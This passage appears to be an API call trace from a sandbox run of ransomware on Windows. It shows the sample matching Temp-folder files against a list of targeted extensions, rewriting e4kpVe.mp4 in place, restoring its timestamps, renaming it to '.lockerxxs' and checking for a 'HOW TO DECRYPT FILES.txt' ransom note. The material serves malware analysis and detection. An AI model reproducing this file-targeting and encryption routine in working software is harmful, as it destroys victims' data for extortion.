lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="e4kpVe.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" [0086.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.ems") returned 0 [0086.516] lstrlenA (lpString="*.ems") returned 5 [0086.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.db") returned 0 [0086.516] lstrlenA (lpString="*.db") returned 4 [0086.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.dbf") returned 0 [0086.516] lstrlenA (lpString="*.dbf") returned 5 [0086.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.myox") returned 0 [0086.516] lstrlenA (lpString="*.myox") returned 6 [0086.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.myo") returned 0 [0086.517] lstrlenA (lpString="*.myo") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbw") returned 0 [0086.517] lstrlenA (lpString="*.qbw") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbb") returned 0 [0086.517] lstrlenA (lpString="*.qbb") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbm") returned 0 [0086.517] lstrlenA (lpString="*.qbm") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbo") returned 0 [0086.517] lstrlenA (lpString="*.qbo") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbx") returned 0 [0086.517] lstrlenA (lpString="*.qbx") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qba") returned 0 [0086.517] lstrlenA (lpString="*.qba") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qby") returned 0 [0086.517] lstrlenA (lpString="*.qby") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qbj") returned 0 [0086.517] lstrlenA (lpString="*.qbj") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.ofx") returned 0 [0086.517] lstrlenA (lpString="*.ofx") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.qif") returned 0 [0086.517] lstrlenA (lpString="*.qif") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.mye") returned 0 [0086.517] lstrlenA (lpString="*.mye") returned 5 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.mbox") returned 0 [0086.517] lstrlenA (lpString="*.mbox") returned 6 [0086.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.eml") returned 0 [0086.518] lstrlenA (lpString="*.eml") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.pst") returned 0 [0086.518] lstrlenA (lpString="*.pst") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.ost") returned 0 [0086.518] lstrlenA (lpString="*.ost") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.idx") returned 0 [0086.518] lstrlenA (lpString="*.idx") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.dbx") returned 0 [0086.518] lstrlenA (lpString="*.dbx") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.sql") returned 0 [0086.518] lstrlenA (lpString="*.sql") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.mdb") returned 0 [0086.518] lstrlenA (lpString="*.mdb") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.fdb") returned 0 [0086.518] lstrlenA (lpString="*.fdb") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.wab") returned 0 [0086.518] lstrlenA (lpString="*.wab") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.dat") returned 0 [0086.518] lstrlenA (lpString="*.dat") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.txt") returned 0 [0086.518] lstrlenA (lpString="*.txt") returned 5 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.jpeg") returned 0 [0086.518] lstrlenA (lpString="*.jpeg") returned 6 [0086.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.jpg") returned 0 [0086.518] lstrlenA (lpString="*.jpg") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.png") returned 0 [0086.519] lstrlenA (lpString="*.png") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.php") returned 0 [0086.519] lstrlenA (lpString="*.php") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.cs") returned 0 [0086.519] lstrlenA (lpString="*.cs") returned 4 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.cpp") returned 0 [0086.519] lstrlenA (lpString="*.cpp") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.rar") returned 0 [0086.519] lstrlenA (lpString="*.rar") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.zip") returned 0 [0086.519] lstrlenA (lpString="*.zip") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.html") returned 0 [0086.519] lstrlenA (lpString="*.html") returned 6 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.htm") returned 0 [0086.519] lstrlenA (lpString="*.htm") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.xlsx") returned 0 [0086.519] lstrlenA (lpString="*.xlsx") returned 6 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.xls") returned 0 [0086.519] lstrlenA (lpString="*.xls") returned 5 [0086.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", pszSpec="*.mp4") returned 1 [0086.519] lstrlenA (lpString="*.mp4") returned 5 [0086.519] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" [0086.519] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" [0086.519] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4." [0086.520] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4.lockerxxs" [0086.520] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e4kpve.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.520] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15107 [0086.520] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5c4ffa30, dwHighDateTime=0x1d5e6fc), lpLastAccessTime=0x407536*(dwLowDateTime=0xfc570710, dwHighDateTime=0x1d5e5b9), lpLastWriteTime=0x40753e*(dwLowDateTime=0xfc570710, dwHighDateTime=0x1d5e5b9)) returned 1 [0086.521] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.521] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x150e1, lpOverlapped=0x0) returned 1 [0086.523] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4") returned="e4kpVe.mp4" [0086.523] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.523] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x150e1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x150e1, lpOverlapped=0x0) returned 1 [0086.524] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.524] CloseHandle (hObject=0x90) returned 1 [0086.524] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e4kpve.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e4kpve.mp4.lockerxxs")) returned 1 [0086.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe40a8ea0, ftCreationTime.dwHighDateTime=0x1d5e12e, ftLastAccessTime.dwLowDateTime=0x828229c0, ftLastAccessTime.dwHighDateTime=0x1d5e38d, ftLastWriteTime.dwLowDateTime=0x828229c0, ftLastWriteTime.dwHighDateTime=0x1d5e38d, nFileSizeHigh=0x0, nFileSizeLow=0x9b30, dwReserved0=0xef0001ee, dwReserved1=0x4e00c4, cFileName="eAdS817TNp0j9G-zY.m4a", cAlternateFileName="EADS81~1.M4A")) returned 1 [0086.526] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eAdS817TNp0j9G-zY.m4a") returned 1 [0086.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eAdS817TNp0j9G-zY.m4a") returned 1 [0086.526] lstrcmpiA (lpString1="", lpString2="eAdS817TNp0j9G-zY.m4a") returned -1 [0086.526] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e4kpVe.mp4") returned="e4kpVe.mp4" [0086.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.526] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.526] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.526] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.526] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="eAdS817TNp0j9G-zY.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" [0086.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.ems") returned 0 [0086.526] lstrlenA (lpString="*.ems") returned 5 [0086.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.db") returned 0 [0086.526] lstrlenA (lpString="*.db") returned 4 [0086.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.dbf") returned 0 [0086.527] lstrlenA (lpString="*.dbf") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.myox") returned 0 [0086.527] lstrlenA (lpString="*.myox") returned 6 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.myo") returned 0 [0086.527] lstrlenA (lpString="*.myo") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbw") returned 0 [0086.527] lstrlenA (lpString="*.qbw") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbb") returned 0 [0086.527] lstrlenA (lpString="*.qbb") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbm") returned 0 [0086.527] lstrlenA (lpString="*.qbm") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbo") returned 0 [0086.527] lstrlenA (lpString="*.qbo") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbx") returned 0 [0086.527] lstrlenA (lpString="*.qbx") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qba") returned 0 [0086.527] lstrlenA (lpString="*.qba") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qby") returned 0 [0086.527] lstrlenA (lpString="*.qby") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qbj") returned 0 [0086.527] lstrlenA (lpString="*.qbj") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.ofx") returned 0 [0086.527] lstrlenA (lpString="*.ofx") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.qif") returned 0 [0086.527] lstrlenA (lpString="*.qif") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mye") returned 0 [0086.527] lstrlenA (lpString="*.mye") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mbox") returned 0 [0086.527] lstrlenA (lpString="*.mbox") returned 6 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.eml") returned 0 [0086.527] lstrlenA (lpString="*.eml") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.pst") returned 0 [0086.527] lstrlenA (lpString="*.pst") returned 5 [0086.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.ost") returned 0 [0086.528] lstrlenA (lpString="*.ost") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.idx") returned 0 [0086.528] lstrlenA (lpString="*.idx") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.dbx") returned 0 [0086.528] lstrlenA (lpString="*.dbx") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.sql") returned 0 [0086.528] lstrlenA (lpString="*.sql") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mdb") returned 0 [0086.528] lstrlenA (lpString="*.mdb") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.fdb") returned 0 [0086.528] lstrlenA (lpString="*.fdb") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.wab") returned 0 [0086.528] lstrlenA (lpString="*.wab") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.dat") returned 0 [0086.528] lstrlenA (lpString="*.dat") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.txt") returned 0 [0086.528] lstrlenA (lpString="*.txt") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.jpeg") returned 0 [0086.528] lstrlenA (lpString="*.jpeg") returned 6 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.jpg") returned 0 [0086.528] lstrlenA (lpString="*.jpg") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.png") returned 0 [0086.528] lstrlenA (lpString="*.png") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.php") returned 0 [0086.528] lstrlenA (lpString="*.php") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.cs") returned 0 [0086.528] lstrlenA (lpString="*.cs") returned 4 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.cpp") returned 0 [0086.528] lstrlenA (lpString="*.cpp") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.rar") returned 0 [0086.528] lstrlenA (lpString="*.rar") returned 5 [0086.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.zip") returned 0 [0086.529] lstrlenA (lpString="*.zip") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.html") returned 0 [0086.529] lstrlenA (lpString="*.html") returned 6 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.htm") returned 0 [0086.529] lstrlenA (lpString="*.htm") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.xlsx") returned 0 [0086.529] lstrlenA (lpString="*.xlsx") returned 6 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.xls") returned 0 [0086.529] lstrlenA (lpString="*.xls") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mp4") returned 0 [0086.529] lstrlenA (lpString="*.mp4") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.ppt") returned 0 [0086.529] lstrlenA (lpString="*.ppt") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.pptx") returned 0 [0086.529] lstrlenA (lpString="*.pptx") returned 6 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.doc") returned 0 [0086.529] lstrlenA (lpString="*.doc") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.dot") returned 0 [0086.529] lstrlenA (lpString="*.dot") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.docx") returned 0 [0086.529] lstrlenA (lpString="*.docx") returned 6 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.7z") returned 0 [0086.529] lstrlenA (lpString="*.7z") returned 4 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.tar") returned 0 [0086.529] lstrlenA (lpString="*.tar") returned 5 [0086.529] PathMatchSpecA 